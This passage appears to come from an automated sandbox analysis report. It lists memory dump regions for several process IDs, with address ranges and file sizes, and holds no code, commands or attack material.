        Filesize

        4KB

      • memory/4324-277-0x0000000002410000-0x0000000002411000-memory.dmp
        Filesize

        4KB

      • memory/4324-233-0x0000000002430000-0x0000000002431000-memory.dmp
        Filesize

        4KB

      • memory/4324-280-0x0000000002A10000-0x0000000002A11000-memory.dmp
        Filesize

        4KB

      • memory/4324-279-0x0000000002A20000-0x0000000002A21000-memory.dmp
        Filesize

        4KB

      • memory/4324-282-0x0000000002A40000-0x0000000002A41000-memory.dmp
        Filesize

        4KB

      • memory/4324-281-0x0000000002A30000-0x0000000002A31000-memory.dmp
        Filesize

        4KB

      • memory/4324-285-0x0000000002A80000-0x0000000002A81000-memory.dmp
        Filesize

        4KB

      • memory/4324-289-0x0000000002410000-0x0000000002411000-memory.dmp
        Filesize

        4KB

      • memory/4324-222-0x0000000002990000-0x0000000002991000-memory.dmp
        Filesize

        4KB

      • memory/4324-223-0x00000000029A0000-0x00000000029A1000-memory.dmp
        Filesize

        4KB

      • memory/4324-286-0x0000000002410000-0x0000000002411000-memory.dmp
        Filesize

        4KB

      • memory/4324-283-0x0000000002A50000-0x0000000002A51000-memory.dmp
        Filesize

        4KB

      • memory/4324-221-0x0000000002980000-0x0000000002981000-memory.dmp
        Filesize

        4KB

      • memory/4324-291-0x0000000002A00000-0x0000000002A01000-memory.dmp
        Filesize

        4KB

      • memory/4324-219-0x0000000002970000-0x0000000002971000-memory.dmp
        Filesize

        4KB

      • memory/4324-220-0x0000000002960000-0x0000000002961000-memory.dmp
        Filesize

        4KB

      • memory/4324-295-0x0000000002410000-0x0000000002411000-memory.dmp
        Filesize

        4KB

      • memory/4324-292-0x00000000027D0000-0x00000000027D1000-memory.dmp
        Filesize

        4KB

      • memory/4324-297-0x00000000036D0000-0x00000000036D1000-memory.dmp
        Filesize

        4KB

      • memory/4324-208-0x0000000000000000-mapping.dmp
      • memory/4324-296-0x0000000002410000-0x0000000002411000-memory.dmp
        Filesize

        4KB

      • memory/4324-299-0x00000000036C0000-0x00000000036C1000-memory.dmp
        Filesize

        4KB

      • memory/4324-211-0x0000000003710000-0x000000000373F000-memory.dmp
        Filesize

        188KB

      • memory/4324-218-0x00000000029B0000-0x00000000029B1000-memory.dmp
        Filesize

        4KB

      • memory/4324-217-0x0000000000BC0000-0x0000000000C1F000-memory.dmp
        Filesize

        380KB

      • memory/4344-171-0x0000000002C50000-0x0000000002C63000-memory.dmp
        Filesize

        76KB

      • memory/4344-170-0x0000000002D8C000-0x0000000002D9D000-memory.dmp
        Filesize

        68KB

      • memory/4344-154-0x0000000000000000-mapping.dmp
      • memory/4604-269-0x0000000000000000-mapping.dmp
      • memory/4868-301-0x0000000004B90000-0x0000000004B91000-memory.dmp
        Filesize

        4KB

      • memory/4868-300-0x0000000004B90000-0x0000000004B91000-memory.dmp
        Filesize

        4KB

      • memory/4868-305-0x0000000004CB0000-0x0000000004CB1000-memory.dmp
        Filesize

        4KB

      • memory/4868-307-0x00000000073F0000-0x00000000073F1000-memory.dmp
        Filesize

        4KB

      • memory/4868-298-0x0000000000000000-mapping.dmp
      • memory/4944-284-0x0000000000000000-mapping.dmp
      • memory/5040-239-0x0000000000000000-mapping.dmp